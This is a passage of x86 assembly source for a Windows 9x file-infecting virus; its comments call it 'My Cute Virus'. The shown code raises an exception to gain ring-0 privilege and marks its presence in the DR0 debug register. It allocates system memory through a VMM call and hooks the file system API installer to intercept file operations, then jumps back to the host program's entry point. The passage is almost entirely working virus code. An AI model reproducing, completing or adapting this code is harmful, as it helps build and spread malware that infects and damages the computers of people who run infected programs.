; *************************************                                          
; * Generate Exception Again          *                                          
; *************************************                                          
                                                                                 
                        int     HookExceptionNumber     ; GenerateException Aga  
                                                                                 
                                                                                 
; *************************************                                          
; * Let's Restore                     *                                          
; * Structured Exception Handing      *                                          
; *************************************                                          
                                                                                 
ReadyRestoreSE:                                                                  
                        sti                                                      
                                                                                 
                        xor     ebx, ebx                                         
                                                                                 
                        jmp     RestoreSE                                        
                                                                                 
; *************************************                                          
; * When Exception Error Occurs,      *                                          
; * Our OS System should be in NT.    *                                          
; * So My Cute Virus will not         *                                          
; * Continue to Run, it Jmups to      *                                          
; * Original Application to Run.      *                                          
; *************************************                                          
                                                                                 
StopToRunVirusCode:                                                              
@1                      =       StopToRunVirusCode                               
                                                                                 
                        xor     ebx, ebx                                         
                        mov     eax, fs:[ebx]                                    
                        mov     esp, [eax]                                       
                                                                                 
RestoreSE:                                                                       
                        pop     dword ptr fs:[ebx]                               
                        pop     eax                                              
                                                                                 
; *************************************                                          
; * Return Original App to Execute    *                                          
; *************************************                                          
                                                                                 
                        pop     ebp                                              
                                                                                 
                        push    00401000h       ; Push Original                  
OriginalAddressOfEntryPoint     =       $-4     ; App Entry Point to Stack       
                                                                                 
                        ret     ; Return to Original App Entry Point             
                                                                                 
; *********************************************************                      
; *             Ring0 Virus Game Initial Program          *                      
; *********************************************************                      
                                                                                 
MyExceptionHook:                                                                 
@2                      =       MyExceptionHook                                  
                                                                                 
                        jz      InstallMyFileSystemApiHook                       
                                                                                 
; *************************************                                          
; * Do My Virus Exist in System !?    *                                          
; *************************************                                          
                                                                                 
                        mov     ecx, dr0                                         
                        jecxz   AllocateSystemMemoryPage                         
                                                                                 
                        add     dword ptr [esp], ReadyRestoreSE-ReturnAddressOf  
dException                                                                       
                                                                                 
; *************************************                                          
; * Return to Ring3 Initial Program   *                                          
; *************************************                                          
                                                                                 
ExitRing0Init:                                                                   
                        mov     [ebx-04h], bp   ;                                
                        shr     ebp, 16         ; Restore Exception              
                        mov     [ebx+02h], bp   ;                                
                                                                                 
                        iretd                                                    
                                                                                 
; *************************************                                          
; * Allocate SystemMemory Page to Use *                                          
; *************************************                                          
                                                                                 
AllocateSystemMemoryPage:                                                        
                                                                                 
                        mov     dr0, ebx        ; Set the Mark of My Virus Exis  
in System                                                                        
                                                                                 
                        push    00000000fh      ;                                
                        push    ecx             ;                                
                        push    0ffffffffh      ;                                
                        push    ecx             ;                                
                        push    ecx             ;                                
                        push    ecx             ;                                
                        push    000000001h      ;                                
                        push    000000002h      ;                                
                        int     20h             ; VMMCALL _PageAllocate          
_PageAllocate           =       $               ;                                
                        dd      00010053h       ; Use EAX, ECX, EDX, and flags   
                        add     esp, 08h*04h                                     
                                                                                 
                        xchg    edi, eax        ; EDI = SystemMemory Start Addr  
s                                                                                
                                                                                 
                        lea     eax, MyVirusStart-@2[esi]                        
                                                                                 
                        iretd   ; Return to Ring3 Initial Program                
                                                                                 
; *************************************                                          
; * Install My File System Api Hook   *                                          
; *************************************                                          
                                                                                 
InstallMyFileSystemApiHook:                                                      
                                                                                 
                        lea     eax, FileSystemApiHook-@6[edi]                   
                                                                                 
                        push    eax  ;                                           
                        int     20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook   
IFSMgr_InstallFileSystemApiHook =       $       ;                                
                        dd      00400067h       ; Use EAX, ECX, EDX, and flags   
                                                                                 
                        mov     dr0, eax        ; Save OldFileSystemApiHook Add  
ss                                                                               
                                                                                 
                        pop     eax     ; EAX = FileSystemApiHook Address        
                                                                                 
                        ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point   
                        mov     ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]     
                        mov     edx, [ecx]                                       
                        mov     OldInstallFileSystemApiHook-@3[eax], edx         
                                                                                 
                        ; Modify IFSMgr_InstallFileSystemApiHook Entry Point     
                        lea     eax, InstallFileSystemApiHook-@3[eax]            
                        mov     [ecx], eax                                       
                                                                                 
                        cli                                                      
                                                                                 
                        jmp     ExitRing0Init                                    
                                                                                 
; *********************************************************                      
; *             Code Size of Merge Virus Code Section     *                      
; *********************************************************                      
                                                                                 
CodeSizeOfMergeVirusCodeSection         =       offset $                         
                                                                                 
; *********************************************************                      
; *             IFSMgr_InstallFileSystemApiHook           *                      
; *********************************************************                      
                                                                                 
InstallFileSystemApiHook:                                                        
                        push    ebx                                              
                                                                                 
                        call    @4      ;                                        
@4:                                     ;                                        
                        pop     ebx     ; mov ebx, offset FileSystemApiHook      
                        add     ebx, FileSystemApiHook-@4       ;